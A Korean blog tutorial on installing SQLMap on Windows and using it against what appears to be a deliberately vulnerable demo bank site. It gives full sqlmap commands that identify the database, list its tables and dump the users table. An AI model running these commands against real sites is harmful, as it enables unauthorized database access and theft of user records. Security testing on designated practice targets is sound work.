웹/웹 보안

SQLMap 설치 및 사용법

비니화이팅 2018. 4. 7. 21:56

이번 시간에는 SQL Injection만을 집중적으로 점검하는 툴인 SQLMap 설치 및 사용법을 알아보도록 하겠습니다.

다. windows10환경에서 진행하였습니다.


1. SQLMap 설치

1-1. python 설치

SQLMap은 파이썬으로 만들어졌기 때문에 실행하기 위해서는 python이 설치되어있어야 합니다.

python의 버전은 2.6이상 3.0미만 이어야 합니다.

https://www.python.org/downloads/windows/ <-를 클릭하여 다운받으면 됩니다.


1-2. SQLMap 설치

www.sqlmap.org <-를 클릭하여 sqlmap홈페이지로 들어간 후 .zip file을 눌러 다운받습니다.


그리고 다운받은 .zip file의 압축을 해제하면 설치는 완료됩니다.



2. SQLMap 실행

cmd창에서 압축을 해제한 디렉토리로 이동 후 sqlmap.py를 실행시키면 됩니다.



--help옵션을 사용하여 도움말을 볼 수 있습니다.



3. Tip

https://www.binarytides.com/sqlmap-hacking-tutorial/ <- 에서 튜토리얼을 볼 수 있습니다.



4. SQLMap 실습

4-1.

우선 타겟 URL의 DBMS정보를 획득합니다. 

(우선 DBMS의 정보를 획득하면 좀 더 빠르게 공격을 진행할 수 있습니다.)

 sqlmap.py -u "http://demo.testfire.net/bank/login.aspx?uid=1&passw=2" -p "uid"


 -u URL  :  타겟 URL을 명시

 -p TESTPARAMETER : 공격을 수행할 대상 파라미터를 명시



DBMS는 Microsoft Access임을 알 수 있습니다.


4-2.

4-1에서 획득한 DBMS 정보를 아래와 같이 명시할 수 있습니다.

 sqlmap.py -u "http://demo.testfire.net/bank/login.aspx?uid=1&passw=2" --dbms=msaccess


 --dbms=DBMS : SQL Injection을 수행할 특정 데이터베이스 종류 명시



4-3.

테이블을 확인해 봅니다.

 sqlmap.py -u "http://demo.testfire.net/bank/login.aspx?uid=1&passw=2" --tables


 --tables : 테이블을 나열 해줌


accounts, transaction, users 테이블이 발견되었습니다.


4-4.

4-3에서 발견한 users테이블의 내용을 확인해봅니다.

 sqlmap.py -u "http://demo.testfire.net/bank/login.aspx?uid=1&passw=2" -T users --dump 


 -T TBL : 특정 테이블 명시

 --dump : 데이터베이스 테이블 항목 덤프



위와 같이 users테이블 내용이 출력된 것을 확인할 수 있습니다.